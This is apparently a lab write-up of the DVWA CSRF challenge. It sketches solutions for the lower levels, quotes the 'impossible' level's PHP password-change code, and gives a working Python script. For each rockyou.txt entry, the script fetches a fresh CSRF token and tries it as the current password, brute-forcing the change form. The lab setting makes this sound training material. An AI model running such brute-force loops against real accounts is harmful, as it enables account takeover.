DVWA’s CSRF Challenge

This challenge works around a password reset form, enabling admin to change their password. The first three levels can be exploited with these solutions:

  • LOW Security Level: we just need a URL with correct params setup, from that URL make a GET request and we can change the password.
  • MEDIUM Security Level: this level adds a check of Referer header, since it should be the same as where the request originated from, a simple curl command may exploit this level.
  • HIGH Security Level: this is where the game plays, it needs a CSRF token for every request to change the password. This is not so hard to exploit - a Python script can exploit it.

For more information: https://github.com/jameskaois/dvwa-vulnerabilities/tree/main/csrf

Cracking IMPOSSIBLE Security Level CSRF

This level seems to impossible to exploit. However, there is a vulnerability: this level requires a new value which is password_current in order to check if the user know the current password before changing the new one.

The source code:

// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );

// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$current_user = dvwaCurrentUser();
$data->bindParam( ':user', $current_user, PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();

// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
    // ...
}

This seems to be secure however unlike the IMPOSSIBLE level of brute-force it will have several checks and also limit the errors. Therefore, in that IMPOSSIBLE brute-force it is kinda hard to brute-force the password. However, this IMPOSSIBLE level in CSRF doesn’t check like that.

=> We can brute-force the current password then change new one (even though we doesn’t know the current password).

My created Python exploit code:

import requests
import re

baseUrl = "http://localhost/DVWA/vulnerabilities/csrf/"

cookies = {
    "PHPSESSID": "<YOUR_SESSS_ID>",
    "security": "impossible"
}

pattern = r"name='user_token' value='([a-fA-F0-9]+)'"

def getCSRFToken():
    try:
        # Take CSRF Token
        res = requests.get(baseUrl, cookies=cookies)

        match = re.search(pattern, res.text)
        if match:
            token = match.group(1)

            return token
        else:
            print("Failed to taken token")
            return False
    except requests.exceptions.RequestException as e:
        print("Request error:", e)

def changePassword():
    newPassword = input('Enter new password: ')

    headers = {
        "Referer": "http://localhost/DVWA/vulnerabilities/csrf/"
    }

    try:
        with open('/usr/share/wordlists/rockyou.txt') as file:
            for line in file:
                password = line.rstrip()

                user_token = getCSRFToken()

                if not user_token:
                    print('Failed to fetch token')
                    continue


                url = baseUrl + f"?password_current={password}&password_new={newPassword}&password_conf={newPassword}&Change=Change&user_token={user_token}"

                try:
                    print(f'Attempting {password}')
                    res = requests.get(url, cookies=cookies, headers=headers)

                    if "Password Changed" in res.text:
                        print()
                        print(f'Found current password: {password}')
                        print('Successfully change password')
                        exit()
                except requests.exceptions.RequestException as e:
                    print("Request error:", e)
    except FileNotFoundError as e:
        print("File not found:", e)

changePassword()

In the code I use rockyou.txt passwords list, you can change to whatever you want.

The result: Guide image